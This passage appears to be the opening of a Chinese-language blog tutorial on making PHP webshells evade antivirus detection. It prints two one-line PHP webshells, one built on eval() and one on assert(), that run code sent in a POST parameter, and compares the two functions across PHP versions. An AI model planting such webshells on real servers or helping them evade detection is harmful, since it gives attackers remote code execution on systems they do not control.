0x01 简介
本文以PHP为例,简单学习一下PHP免杀的过程
0x02 PHP一句话的两种形式
我接触到的第一个webshell就是以eval()函数形式输出的,也是最常见的php webshell
<?php eval(@_POST['pass']); ?>
简单分析一下这行php代码:
- eval()是php命令执行函数
- 通过POST方式传递参数pass
- eval函数把接收的数据当作PHP代码来执行
- 这是最常见也是最容易被杀掉的webshell
php一句话webshell还有另外一种形式:利用assert()函数
<?php assert(@$_POST['a']); ?>
eval()和assert()函数在不同PHP版本中的差异:
| 函数 | 说明 |
|---|---|
| eval() | PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行 |
| assert() | PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数 |
